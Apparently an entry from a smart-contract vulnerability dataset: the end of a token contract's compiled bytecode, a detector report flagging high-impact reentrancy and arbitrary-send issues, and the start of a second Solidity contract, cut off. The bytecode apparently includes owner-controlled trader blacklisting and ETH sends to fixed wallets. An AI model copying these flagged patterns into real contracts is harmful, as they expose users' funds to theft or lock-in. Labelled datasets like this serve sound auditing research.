fffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054612d46565b9050919050565b610c636118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610cf0576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ce790613fd0565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000610e3b6002600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301546005610e2d91906142a7565b612db490919063ffffffff16565b9050919050565b60606040518060400160405280600781526020017f20494c494e4b2000000000000000000000000000000000000000000000000000815250905090565b6000610e93610e8c6118c3565b8484611a96565b6001905092915050565b600060158054906101000a900460ff16905090565b610eba6118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610f47576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f3e90613fd0565b60405180910390fd5b60005b81518110156110be57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16828281518110610f9f57610f9e61444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff16141580156110335750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168282815181106110125761101161444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1614155b156110ab576001600660008484815181106110515761105061444d565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b80806110b6906143a6565b915050610f4a565b5050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166111036118c3565b73ffffffffffffffffffffffffffffffffffffffff161461112357600080fd5b600061112e30610c0a565b905061113981612e2f565b50565b6111446118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146111d1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111c890613fd0565b60405180910390fd5b6001601560146101000a81548160ff0219169083151502179055506078426111f991906141c6565b60178190555043601681905550565b6000611235601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b905090565b6112426118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146112cf576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112c690613fd0565b60405180910390fd5b6000600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b6113b96118c3565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611446576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161143d90613fd0565b60405180910390fd5b601560149054906101000a900460ff1615611496576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161148d90614050565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080601460006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555061152630601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea000006118cb565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b15801561156c57600080fd5b505afa158015611580573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906115a491906138af565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b15801561160657600080fd5b505afa15801561161a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061163e91906138af565b6040518363ffffffff1660e01b815260040161165b929190613de0565b602060405180830381600087803b15801561167557600080fd5b505af1158015611689573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906116ad91906138af565b601560006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d719473061173630610c0a565b600080611741610dae565b426040518863ffffffff1660e01b815260040161176396959493929190613e32565b6060604051808303818588803b15801561177c57600080fd5b505af1158015611790573d6000803e3d6000fd5b50505050506040513d601f19601f820116820180604052508101906117b59190613a7f565b505050674563918244f4000060108190555042600d81905550601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b815260040161186d929190613e09565b602060405180830381600087803b15801561188757600080fd5b505af115801561189b573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906118bf9190613a25565b5050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561193b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161193290614030565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614156119ab576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016119a290613f10565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611a899190614090565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415611b06576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611afd90614010565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611b76576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611b6d90613ed0565b60405180910390fd5b60008111611bb9576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611bb090613ff0565b60405180910390fd5b611bc1610dae565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611c2f5750611bff610dae565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15612aa857600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16158015611cd85750600660008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b611ce157600080fd5b6001601654611cf091906141c6565b4311158015611d00575060105481145b15611f1f57601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614158015611db15750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611e13576001600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550611f1e565b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614158015611ebf5750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611f1d576001600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505b5b5b600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060040160009054906101000a900460ff1661202c576040518060a001604052806000815260200160008152602001600081526020016000815260200160011515815250600760003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000820151816000015560208201518160010155604082015181600201556060820151816003015560808201518160040160006101000a81548160ff0219169083151502179055509050505b601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156120d75750601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561212d5750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b156126b557601560149054906101000a900460ff16612181576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161217890614070565b60405180910390fd5b610708600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546121d191906141c6565b421115612221576000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301819055505b6000600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003015414156122d957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906122bf906143a6565b91905055506005600a819055506005600b81905550612515565b6001600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561239157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206003016000815480929190612377906143a6565b91905055506004600a819055506004600b81905550612514565b6002600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561244957600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600301600081548092919061242f906143a6565b91905055506003600a819055506003600b81905550612513565b6003600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030154141561250157600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060030160008154809291906124e7906143a6565b91905055506002600a819055506002600b81905550612512565b6005600a819055506005600b819055505b5b5b5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002018190555060158054906101000a900460ff16156126b4574260175411156126605760105481111561258857600080fd5b42600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001541061260c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161260390613f30565b60405180910390fd5b602d4261261991906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600001819055505b600f4261266d91906141c6565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600101819055505b5b60006126c030610c0a565b9050601560169054906101000a900460ff1615801561272d5750601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b80156127455750601560149054906101000a900460ff165b15612aa65760158054906101000a900460ff16156127e25742600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060010154106127e1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016127d890613f90565b60405180910390fd5b5b600060239050612a30600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461283891906141c6565b42111561284857600a9050612970565b610e10600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461289891906141c6565b4211156128a857600f905061296f565b610708600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600201546128f891906141c6565b421115612908576014905061296e565b61012c600760008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206002015461295891906141c6565b421115612968576019905061296d565b602390505b5b5b5b612997600a612989600484612db490919063ffffffff16565b6130b790919063ffffffff16565b600a819055506129c4600a6129b6600684612db490919063ffffffff16565b6130b790919063ffffffff16565b600b819055506000821115612a8b57612a256064612a17600c54612a09601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b821115612a8157612a7e6064612a70600c54612a62601560009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16610c0a565b612db490919063ffffffff16565b6130b790919063ffffffff16565b91505b612a8a82612e2f565b5b60004790506000811115612aa357612aa247612bcf565b5b50505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680612b4f5750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15612b5957600090505b612b6584848484613101565b50505050565b6000838311158290612bb3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612baa9190613eae565b60405180910390fd5b5060008385612bc291906142a7565b9050809150509392505050565b601160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c1f6002846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612c4a573d6000803e3d6000fd5b50601260009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612c9b6004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612cc6573d6000803e3d6000fd5b50601360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc612d176004846130b790919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015612d42573d6000803e3d6000fd5b5050565b6000600854821115612d8d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612d8490613ef0565b60405180910390fd5b6000612d9761312e565b9050612dac81846130b790919063ffffffff16565b915050919050565b600080831415612dc75760009050612e29565b60008284612dd5919061424d565b9050828482612de4919061421c565b14612e24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401612e1b90613fb0565b60405180910390fd5b809150505b92915050565b6001601560166101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115612e6757612e6661447c565b5b604051908082528060200260200182016040528015612e955781602001602082028036833780820191505090505b5090503081600081518110612ead57612eac61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015612f4f57600080fd5b505afa158015612f63573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612f8791906138af565b81600181518110612f9b57612f9a61444d565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff168152505061300230601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16846118cb565b601460009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b81526004016130669594939291906140ab565b600060405180830381600087803b15801561308057600080fd5b505af1158015613094573d6000803e3d6000fd5b50505050506000601560166101000a81548160ff02191690831515021790555050565b60006130f983836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250613159565b905092915050565b8061310f5761310e6131bc565b5b61311a8484846131ff565b80613128576131276133ca565b5b50505050565b600080600061313b6133de565b9150915061315281836130b790919063ffffffff16565b9250505090565b600080831182906131a0576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016131979190613eae565b60405180910390fd5b50600083856131af919061421c565b9050809150509392505050565b6000600a541480156131d057506000600b54145b156131da576131fd565b600a54600e81905550600b54600f819055506000600a819055506000600b819055505b565b60008060008060008061321187613440565b95509550955095509550955061326f86600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134a890919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061330485600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061335081613550565b61335a848361360d565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516133b79190614090565b60405180910390a3505050505050505050565b600e54600a81905550600f54600b81905550565b600080600060085490506000683635c9adc5dea000009050613414683635c9adc5dea000006008546130b790919063ffffffff16565b82101561343357600854683635c9adc5dea0000093509350505061343c565b81819350935050505b9091565b600080600080600080600080600061345d8a600a54600b54613647565b925092509250600061346d61312e565b905060008060006134808e8787876136dd565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006134ea83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250612b6b565b905092915050565b600080828461350191906141c6565b905083811015613546576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161353d90613f50565b60405180910390fd5b8091505092915050565b600061355a61312e565b905060006135718284612db490919063ffffffff16565b90506135c581600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546134f290919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b613622826008546134a890919063ffffffff16565b60088190555061363d816009546134f290919063ffffffff16565b6009819055505050565b6000806000806136736064613665888a612db490919063ffffffff16565b6130b790919063ffffffff16565b9050600061369d606461368f888b612db490919063ffffffff16565b6130b790919063ffffffff16565b905060006136c6826136b8858c6134a890919063ffffffff16565b6134a890919063ffffffff16565b905080838395509550955050505093509350939050565b6000806000806136f68589612db490919063ffffffff16565b9050600061370d8689612db490919063ffffffff16565b905060006137248789612db490919063ffffffff16565b9050600061374d8261373f85876134a890919063ffffffff16565b6134a890919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061377961377484614145565b614120565b9050808382526020820190508285602086028201111561379c5761379b6144b0565b5b60005b858110156137cc57816137b288826137d6565b84526020840193506020830192505060018101905061379f565b5050509392505050565b6000813590506137e581614864565b92915050565b6000815190506137fa81614864565b92915050565b600082601f830112613815576138146144ab565b5b8135613825848260208601613766565b91505092915050565b60008135905061383d8161487b565b92915050565b6000815190506138528161487b565b92915050565b60008135905061386781614892565b92915050565b60008151905061387c81614892565b92915050565b600060208284031215613898576138976144ba565b5b60006138a6848285016137d6565b91505092915050565b6000602082840312156138c5576138c46144ba565b5b60006138d3848285016137eb565b91505092915050565b600080604083850312156138f3576138f26144ba565b5b6000613901858286016137d6565b9250506020613912858286016137d6565b9150509250929050565b600080600060608486031215613935576139346144ba565b5b6000613943868287016137d6565b9350506020613954868287016137d6565b925050604061396586828701613858565b9150509250925092565b60008060408385031215613986576139856144ba565b5b6000613994858286016137d6565b92505060206139a585828601613858565b9150509250929050565b6000602082840312156139c5576139c46144ba565b5b600082013567ffffffffffffffff8111156139e3576139e26144b5565b5b6139ef84828501613800565b91505092915050565b600060208284031215613a0e57613a0d6144ba565b5b6000613a1c8482850161382e565b91505092915050565b600060208284031215613a3b57613a3a6144ba565b5b6000613a4984828501613843565b91505092915050565b600060208284031215613a6857613a676144ba565b5b6000613a7684828501613858565b91505092915050565b600080600060608486031215613a9857613a976144ba565b5b6000613aa68682870161386d565b9350506020613ab78682870161386d565b9250506040613ac88682870161386d565b9150509250925092565b6000613ade8383613aea565b60208301905092915050565b613af3816142db565b82525050565b613b02816142db565b82525050565b6000613b1382614181565b613b1d81856141a4565b9350613b2883614171565b8060005b83811015613b59578151613b408882613ad2565b9750613b4b83614197565b925050600181019050613b2c565b5085935050505092915050565b613b6f816142ed565b82525050565b613b7e81614330565b82525050565b6000613b8f8261418c565b613b9981856141b5565b9350613ba9818560208601614342565b613bb2816144bf565b840191505092915050565b6000613bca6023836141b5565b9150613bd5826144d0565b604082019050919050565b6000613bed602a836141b5565b9150613bf88261451f565b604082019050919050565b6000613c106022836141b5565b9150613c1b8261456e565b604082019050919050565b6000613c336022836141b5565b9150613c3e826145bd565b604082019050919050565b6000613c56601b836141b5565b9150613c618261460c565b602082019050919050565b6000613c796015836141b5565b9150613c8482614635565b602082019050919050565b6000613c9c6023836141b5565b9150613ca78261465e565b604082019050919050565b6000613cbf6021836141b5565b9150613cca826146ad565b604082019050919050565b6000613ce26020836141b5565b9150613ced826146fc565b602082019050919050565b6000613d056029836141b5565b9150613d1082614725565b604082019050919050565b6000613d286025836141b5565b9150613d3382614774565b604082019050919050565b6000613d4b6024836141b5565b9150613d56826147c3565b604082019050919050565b6000613d6e6017836141b5565b9150613d7982614812565b602082019050919050565b6000613d916018836141b5565b9150613d9c8261483b565b602082019050919050565b613db081614319565b82525050565b613dbf81614323565b82525050565b6000602082019050613dda6000830184613af9565b92915050565b6000604082019050613df56000830185613af9565b613e026020830184613af9565b9392505050565b6000604082019050613e1e6000830185613af9565b613e2b6020830184613da7565b9392505050565b600060c082019050613e476000830189613af9565b613e546020830188613da7565b613e616040830187613b75565b613e6e6060830186613b75565b613e7b6080830185613af9565b613e8860a0830184613da7565b979650505050505050565b6000602082019050613ea86000830184613b66565b92915050565b60006020820190508181036000830152613ec88184613b84565b905092915050565b60006020820190508181036000830152613ee981613bbd565b9050919050565b60006020820190508181036000830152613f0981613be0565b9050919050565b60006020820190508181036000830152613f2981613c03565b9050919050565b60006020820190508181036000830152613f4981613c26565b9050919050565b60006020820190508181036000830152613f6981613c49565b9050919050565b60006020820190508181036000830152613f8981613c6c565b9050919050565b60006020820190508181036000830152613fa981613c8f565b9050919050565b60006020820190508181036000830152613fc981613cb2565b9050919050565b60006020820190508181036000830152613fe981613cd5565b9050919050565b6000602082019050818103600083015261400981613cf8565b9050919050565b6000602082019050818103600083015261402981613d1b565b9050919050565b6000602082019050818103600083015261404981613d3e565b9050919050565b6000602082019050818103600083015261406981613d61565b9050919050565b6000602082019050818103600083015261408981613d84565b9050919050565b60006020820190506140a56000830184613da7565b92915050565b600060a0820190506140c06000830188613da7565b6140cd6020830187613b75565b81810360408301526140df8186613b08565b90506140ee6060830185613af9565b6140fb6080830184613da7565b9695505050505050565b600060208201905061411a6000830184613db6565b92915050565b600061412a61413b565b90506141368282614375565b919050565b6000604051905090565b600067ffffffffffffffff8211156141605761415f61447c565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b60006141d182614319565b91506141dc83614319565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff03821115614211576142106143ef565b5b828201905092915050565b600061422782614319565b915061423283614319565b9250826142425761424161441e565b5b828204905092915050565b600061425882614319565b915061426383614319565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff048311821515161561429c5761429b6143ef565b5b828202905092915050565b60006142b282614319565b91506142bd83614319565b9250828210156142d0576142cf6143ef565b5b828203905092915050565b60006142e6826142f9565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b600061433b82614319565b9050919050565b60005b83811015614360578082015181840152602081019050614345565b8381111561436f576000848401525b50505050565b61437e826144bf565b810181811067ffffffffffffffff8211171561439d5761439c61447c565b5b80604052505050565b60006143b182614319565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156143e4576143e36143ef565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f596f75722062757920636f6f6c646f776e20686173206e6f742065787069726560008201527f642e000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f526174652063616e277420657863656564203530250000000000000000000000600082015250565b7f596f75722073656c6c20636f6f6c646f776e20686173206e6f7420657870697260008201527f65642e0000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f54726164696e67206e6f742079657420656e61626c65642e0000000000000000600082015250565b61486d816142db565b811461487857600080fd5b50565b614884816142ed565b811461488f57600080fd5b50565b61489b81614319565b81146148a657600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220f5e42f25ebdd487903e90d6fc90cc12246e11f3972df967381ae586bcaae215964736f6c63430008060033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 9,201 |
0x93b7fa538913201066a262c03179c342262a7c76
|
pragma solidity ^0.4.21;
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract UnicornManagementInterface {
function ownerAddress() external view returns (address);
function managerAddress() external view returns (address);
function communityAddress() external view returns (address);
function dividendManagerAddress() external view returns (address);
function walletAddress() external view returns (address);
function blackBoxAddress() external view returns (address);
function unicornBreedingAddress() external view returns (address);
function geneLabAddress() external view returns (address);
function unicornTokenAddress() external view returns (address);
function candyToken() external view returns (address);
function candyPowerToken() external view returns (address);
function createDividendPercent() external view returns (uint);
function sellDividendPercent() external view returns (uint);
function subFreezingPrice() external view returns (uint);
function subFreezingTime() external view returns (uint64);
function subTourFreezingPrice() external view returns (uint);
function subTourFreezingTime() external view returns (uint64);
function createUnicornPrice() external view returns (uint);
function createUnicornPriceInCandy() external view returns (uint);
function oraclizeFee() external view returns (uint);
function paused() external view returns (bool);
// function locked() external view returns (bool);
function isTournament(address _tournamentAddress) external view returns (bool);
function getCreateUnicornFullPrice() external view returns (uint);
function getHybridizationFullPrice(uint _price) external view returns (uint);
function getSellUnicornFullPrice(uint _price) external view returns (uint);
function getCreateUnicornFullPriceInCandy() external view returns (uint);
//service
function registerInit(address _contract) external;
}
contract ERC20 {
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
